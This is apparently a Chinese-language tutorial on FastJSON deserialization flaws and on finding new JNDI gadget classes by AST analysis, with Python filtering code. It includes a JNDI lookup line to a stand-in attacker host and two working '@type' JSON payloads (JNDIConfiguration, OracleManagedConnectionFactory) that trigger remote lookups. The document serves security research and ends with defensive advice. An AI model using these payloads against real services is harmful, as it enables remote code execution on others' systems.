抽象语法树分析寻找FastJSON的Gadgets
字数 1466 2025-08-18 11:38:56
FastJSON反序列化漏洞分析与Gadgets挖掘教学
1. 背景知识
1.1 FastJSON简介
FastJSON是阿里巴巴开源的高性能JSON库,用于Java对象与JSON数据之间的转换。它提供了两个核心功能:
- 序列化:将Java对象转换为JSON字符串
- 反序列化:将JSON字符串转换为Java对象
1.2 FastJSON反序列化漏洞
在FastJSON版本<1.2.25时存在反序列化漏洞,攻击者可以通过精心构造的JSON字符串实现远程代码执行(RCE)。漏洞原理:
-
FastJSON在反序列化时会自动调用目标类的:
- 构造函数
- setter方法(set开头的方法)
- getter方法(get开头的方法)
-
攻击者可以通过JSON字符串控制这些方法的参数,从而可能执行恶意代码
1.3 防御机制
1.2.25版本后,FastJSON引入了防御措施:
checkAutoType方法- autotype开关(默认关闭)
- 黑名单机制(禁止反序列化已知的危险类)
2. 漏洞利用原理
2.1 JNDI注入
漏洞利用通常通过JNDI注入实现RCE,关键特征代码:
InitialContext.lookup("rmi://attacker.com/Exploit");
2.2 已知Gadgets
已被加入黑名单的Gadgets类:
ch.qos.logback.core.db.JNDIConnectionSourcecom.zaxxer.hikari.HikariConfigorg.apache.xalan.lib.sql.JNDIConnectionPool
3. 寻找新Gadgets的方法
3.1 总体思路
- 反编译不在黑名单中的jar包
- 生成抽象语法树(AST)
- 通过条件筛选潜在可利用类
- 构造PoC验证
3.2 具体步骤
3.2.1 反编译jar包
使用FernFlower工具反编译:
java -jar fernflower.jar jarToDecompile.jar decomp/
Python封装函数示例:
def decomplier(file):
cmd = "java -jar ~/tools/FernFlower.jar " + file + " /Users/xxxxxxx/source/ > /dev/null 2>&1"
os.system(cmd)
jar_file_name = file.split('/')[-1]
jar_file_path = "/Users/xxxxxxx/source/" + jar_file_name
target_dir = jar_file_name.split('.')[:-1]
source_dir = '.'.join(target_dir)
source_dir = '/Users/xxxxxxx/source/' + source_dir
unzip_cmd = "unzip " + jar_file_path + " -d " + source_dir + " > /dev/null 2>&1"
os.system(unzip_cmd)
return source_dir
3.2.2 生成AST语法树
使用javalang库解析Java源码:
import javalang
tree = javalang.parse.parse("package javalang.brewtab.com; class Test {}")
AST结构示例:
CompilationUnit: 整个源文件package: 包声明imports: 导入声明types: 类型声明(类、接口等)
3.2.3 筛选条件
类级别筛选条件:
- 不能继承
ClassLoader - 不能实现
DataSource和RowSet接口 - 必须有无参构造函数
Python实现:
def get_class_declaration(root):
class_list = []
black_interface = ("DataSource", "RowSet")
for node in root.types:
if not isinstance(node, ClassDeclaration):
continue
# 检查继承关系
if node.extends is not None and node.extends.name == "ClassLoader":
continue
# 检查接口实现
interface_flag = False
if node.implements is None:
node.implements = []
for implement in node.implements:
if implement.name in black_interface:
interface_flag = True
break
if interface_flag:
continue
# 检查无参构造函数
constructor_flag = False
for constructor_declaration in node.constructors:
if len(constructor_declaration.parameters) == 0:
constructor_flag = True
break
if not constructor_flag:
continue
class_list.append(node)
return class_list
方法级别筛选条件:
- 调用了
lookup方法 lookup方法的参数是可控变量
Python实现:
def ack(method_node):
target_variables = []
for path, node in method_node:
# 检查是否调用lookup方法
if isinstance(node, MethodInvocation) and node.member == "lookup":
if len(node.arguments) != 1:
continue
# 检查参数类型
arg = node.arguments[0]
if isinstance(arg, Cast): # 类型强转
target_variables.append(arg.expression.member)
if isinstance(arg, MemberReference): # 变量引用
target_variables.append(arg.member)
if isinstance(arg, This): # this.name
return True
if not target_variables:
return False
# 检查变量是否可控
for parameter in method_node.parameters:
if parameter.name in target_variables:
return True
return False
4. 发现的新Gadgets
4.1 org.apache.commons.configuration.JNDIConfiguration
PoC:
String json = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1389/Exploit\"}";
Object object = JSON.parseObject(json);
4.2 oracle.jdbc.connector.OracleManagedConnectionFactory
PoC:
String json = "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://127.0.0.1:1389/Exploit\"}";
Object object = JSON.parseObject(json);
5. 防御建议
- 升级FastJSON到最新版本(≥1.2.58)
- 关闭autotype功能
- 定期检查FastJSON黑名单更新
- 对反序列化操作进行严格限制
6. 工具与参考
- 反编译工具: FernFlower
- AST分析库: javalang
- 黑名单检查: fastjson-blacklist项目
- 参考文章:
- https://srcincite.io/blog/2019/08/07/attacking-unmarshallers-jndi-injection-using-getter-based-deserialization.html
- https://b1ue.cn/archives/201.html